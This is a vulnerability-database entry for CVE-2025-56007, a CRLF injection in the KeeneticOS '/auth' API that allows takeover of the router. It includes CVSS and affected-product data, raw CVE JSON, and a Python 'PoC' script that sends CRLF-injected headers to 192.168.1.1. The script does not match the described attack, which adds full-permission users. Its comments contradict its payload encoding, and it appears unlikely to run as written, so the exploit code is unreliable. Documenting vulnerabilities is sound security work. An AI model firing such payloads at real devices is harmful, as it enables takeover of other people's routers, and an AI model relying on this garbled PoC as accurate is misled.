Security Vulnerability Report
中文
CVE-2025-56007 CVSS 6.5 MEDIUM

CVE-2025-56007

Published: 2025-10-23 15:15:39
Last Modified: 2026-05-20 20:16:34

Description

CRLF-injection in KeeneticOS before 4.3 at "/auth" API endpoint allows attackers to take over the device via adding additional users with full permissions by managing the victim to open page with exploit.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:keenetic:keeneticos:*:*:*:*:*:*:*:* - VULNERABLE
KeeneticOS < 4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56007 PoC - CRLF Injection in KeeneticOS /auth endpoint # This PoC demonstrates how an attacker can inject additional HTTP headers # by exploiting the CRLF injection vulnerability target = "http://192.168.1.1" auth_endpoint = f"{target}/auth" # CRLF injection payload - injects additional headers after the newline characters # The %0d%0a is URL-encoded \r\n (CRLF) injection_payload = "test\r\nX-Injected-Header: malicious\r\nX-Injected-Header2: pwned" # Malicious URL that will be sent when victim visits the page malicious_url = f"{auth_endpoint}?param={injection_payload}" print(f"[*] Target: {target}") print(f"[*] Auth Endpoint: {auth_endpoint}") print(f"[*] Crafted Payload: {injection_payload}") print(f"[*] Malicious URL: {malicious_url}") # Simulate the attack request try: headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', # The payload is injected via the Authorization header 'Authorization': f'Basic {injection_payload}', } response = requests.get(auth_endpoint, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56007", "sourceIdentifier": "[email protected]", "published": "2025-10-23T15:15:39.097", "lastModified": "2026-05-20T20:16:33.837", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "CRLF-injection in KeeneticOS before 4.3 at \"/auth\" API endpoint allows attackers to take over the device via adding additional users with full permissions by managing the victim to open page with exploit."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:keenetic:keeneticos:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3", "matchCriteriaId": "31463ACE-A8BB-4E5D-AA71-1BC479DE8AA4"}]}]}], "references": [{"url": "https://github.com/notdenied/writeups/blob/main/CVE/CVE-2025-56007.md", "source": "[email protected]"}, {"url": "https://keenetic.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://keenetic.com/global/security#october-2025-web-api-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}